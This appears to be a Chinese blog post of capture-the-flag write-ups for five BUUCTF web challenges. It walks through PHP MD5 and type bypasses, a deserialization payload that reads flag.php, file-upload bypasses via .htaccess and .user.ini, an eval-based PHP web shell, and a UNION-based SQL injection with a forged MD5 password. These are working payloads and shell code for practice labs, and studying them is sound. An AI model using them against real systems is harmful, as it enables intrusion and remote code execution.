首页 > 其他分享 >BUUCTF-WEB(26-30)

BUUCTF-WEB(26-30)

时间:2024-05-22 19:51:06浏览次数:20  
标签:WEB 26 BUUCTF res 然后 flag password output php

[MRCTF2020]Ez_bypass

源码如下

image-20240521080624099

首先显示MD5值强比较,我们就用数组绕过

?id[]=1&gg[]=2

然后后面就用字符串绕过,他在解析的时候,会转换成数值

passwd=1234567a

总的payload

image-20240521080948684

image-20240521080955351

[网鼎杯 2020 青龙组]AreUSerialz

参考:

[网鼎杯 2020 青龙组]AreUSerialz 解题思路&过程-CSDN博客

打开题目就是源码

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

我们可以看出来是一个反序列化的题。

它需要我们传递的参数ascll码对应的32-125的位置,都是些常见的可打印字符

然后__destruct会判断我们是不是op=2,我们需要绕过,这个是===,我们直接数字2绕过

然后process里面,我们进入read(),然后读取flag.php源码

分析完毕,我们打开php在线

构造完毕后会显示不可打印字符

<?php
class FileHandler {

    protected $op=2;
    protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
	protected $content;
}
$a=new FileHandler();
echo serialize($a);

image-20240521082906604

大佬说

查看网页源代码,可以看到有不可打印字符。这是因为序列化后protected类型的属性存在不可打印字符。(经测试,private类型的属性序列化后也产生不可打印字符)对于PHP版本7.1+,对属性的类型不敏感,我们可以将protected类型改为public,以消除不可打印字符。

所以我们把属性都改成 public,再构造一次

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

bas64解码得到flag

image-20240521083224167

[GXYCTF2019]BabyUpload

这道题先是过滤了后缀不能出现ph,我们平常用的php文件后缀,都用不了,所以这个绕不过

还有文件类型过滤,可以改成 image/jpeg

文件里内容不能出现 <? ,那我们就换写法

<script language="php">eval($_REQUEST['cmd']);</script>

中间我访问了错误地址,发现是apache中间件,所以我们这道题可以.htaccess绕过

image-20240522185026736

<IfModule mime_module>
SetHandler application/x-httpd-php    
</IfModule>

然后上传图片马

image-20240522185036255

蚁剑连接找到flag

image-20240522185056494

[SUCTF 2019]CheckIn

参考:

[文件上传]浅析.user.ini的利用-CSDN博客

这道题和上道题差不多,只不过这道题用了.user.ini绕过,多了一个文件头检测

我们文件头就加上GIF89a

我们先上传 .user.ini

GIF89a
auto_prepend_file=shell.jpg

image-20240522185928649

然后上传shell.jpg

GIF89a
<script language="php">eval($_REQUEST['cmd']);</script>

image-20240522190058975

然后以index.php这个为连接地址,就可以连接蚁剑,找到flag

.user.ini文件过几分钟就会更新消失

image-20240522190810445

[GXYCTF2019]BabySQli

参考:

[GXYCTF2019]BabySQli 1-CSDN博客

[BUUCTF GXYCTF2019]BabySQli 1 详解!(MD5与SQL之间的碰撞)-云社区-华为云 (huaweicloud.com)

这道题我先试了试

屏蔽了 or =,然后大写就可以绕过了

所以我们报字段

1' OR true ORDER BY 3#//正常回显
1' OR true ORDER BY 4#//错误回显

所以字段数为 3

然后我想正常注入,注入不行

看了一下师傅们的博客,说是在登录失败那个界面里有个小提示

`image-20240522193046404

然后拿去Cyberchef解密CyberChef

image-20240522193154293

然后发现后台的查询语句,我们也是试出来几个字段,然后用户名是admin,然后我们看看admin在哪个字段

试出来发现是第二个字段

' union select 1,'admin',3#

然后看看源码的逻辑,比赛估计没有,这时候我们学习,还是看看吧

image-20240522194123631

大佬的解释如下:[BUUCTF GXYCTF2019]BabySQli 1 详解!(MD5与SQL之间的碰撞)-云社区-华为云 (huaweicloud.com)

username数据表里面的3个字段分别是flag、name、password。
猜测只有password字段位NULL
咱们给参数password传入的值是123
那么传进去后,后台就会把123进行md5值加密并存放到password字段当中
当我们使用查询语句的时候
我们pw参数的值会被md5值进行加密
然后再去与之前存入password中的md5值进行比较
如果相同就会输出flag

然后我们就给 123 MD5加密

202cb962ac59075b964b07152d234b70

payload

' union select 1,'admin','202cb962ac59075b964b07152d234b70'# //username
123 //password

成功拿到flag

image-20240522194431165

标签:WEB,26,BUUCTF,res,然后,flag,password,output,php
From: https://www.cnblogs.com/Muneyoshi/p/18206968

相关文章

  • 3326:练55.1 合影效果
    【题目描述】小明和朋友们去爬香山,为美丽的景色所陶醉,想合影留念。如果他们站成一排,男生全部在左(从拍照者的角度),并按照从矮到高的顺序从左到右排,女生全部在右,并按照从高到矮的顺序从左到右排,请问他们合影的效果是什么样的(所有人的身高都不同)?【输入】第一行是人数n(2≤n≤40,且......
  • 末路狂花钱下载/迅雷BT下载[MP4/2.26GB/3.59GB]4k国语高清版
    电影《末路狂花钱》是由导演马丁·斯科塞斯执导,莱昂纳多·迪卡普里奥、乔纳·希尔等主演的一部财富主题电影。该片根据约丹·贝尔福特的同名畅销回忆录改编,讲述了贝尔福特的真实故事,揭示了金钱与人性的辩证关系。本片既是一部娱乐性极强的商业大片,也是一部探索人性底层的文艺......
  • ASP.NET Web应用程序创建的webservice接口如何在postman里测试调用
    ASMX中的方法 启动项目浏览器展示的页面如下 点击ReceiveOrder,展示该方法的请求和响应示例 在postman中输入以下信息 选择raw--xml,粘贴浏览器中的SOAP1.1或者SOAP1.2中的请求示例 点击Send按钮发生请求 SOAP1.1以下是SOAP1.1请求和响应示例。所显示的占位......
  • [SWPU2019]Web1 1
    这是一道非常典型的sql注入题目首先引入眼帘的是一个登录框我们进行sql注入的尝试该输入框排除为注入点的可能注册并登录后对广告发布功能进行测试:对关键字进行了过滤经fuzz测试发现其对空格orandinformation_schema等关键字进行了过滤我们先对回显进行判断1'/......
  • webserver接口如何在postman里调用测试
    测试环境:springboot+webservice接口入口 接口实现 cxf配置 cxf配置文件中决定了如何在浏览器查看wsdl文件例如在浏览器中输入http://127.0.0.1:8080/webService?wsdl展示该项目下所有的接口服务 在浏览器中输入http://127.0.0.1:8080/webService/ReceivePlanService......
  • H5 缓存机制浅析 移动端 Web 加载性能优化
     H5缓存机制浅析移动端Web加载性能优化 转自:https://www.cnblogs.com/bugly/p/5039153.html1H5缓存机制介绍H5,即HTML5,是新一代的HTML标准,加入很多新的特性。离线存储(也可称为缓存机制)是其中一个非常重要的特性。H5引入的离线存储,这意味着web应用可......
  • .net webapi 处理前端请求跨域问题
    1.打开 Program.cs文件,在 varapp=builder.Build();语句前添加如下代码builder.Services.AddCors(o=>o.AddPolicy("any",p=>p.AllowAnyOrigin().AllowAnyHeader().AllowAnyMethod()));2.在varapp=builder.Build();语句后添加 app.UseCors();app.UseCors();......
  • 向Web服务器端上传文件
    server.pyimportflaskapp=flask.Flask(__name__)@app.route('/',methods=['GET','POST'])defuploadFile():msg=""try:if"fileName"inflask.request.values:fileName=fl......
  • 基于webapi的websocket聊天室(番外一)
    上一篇我已经实现了聊天室,并且在协议中实现了4种类型的消息传输。其实还可以添加video,audio,live等等类型。不过假如把目前的协议看作RCP1.0版的话,这个版本就只支持有限的4种消息。精力有限啊。也许RCP2.0就可以把video,audio类型加进去?这不是这篇番外考虑的。而是我在定义和实现......
  • web服务器和FTP服务器
    web(网页)(http)服务器浏览器:http客户端HTTP协议端口号:TCP:80HTTPs协议端口号:TCP:443 WEB服务器发布软件:微软:IIS(可以发布WEB网站和FTP站点)Linux:Apache/LAMP/Tomcat/nginx.etc第三方:phpstudy/XAMPP    FTP服务器:1、FileTransforProtocol:文件传输协议2、端口号:T......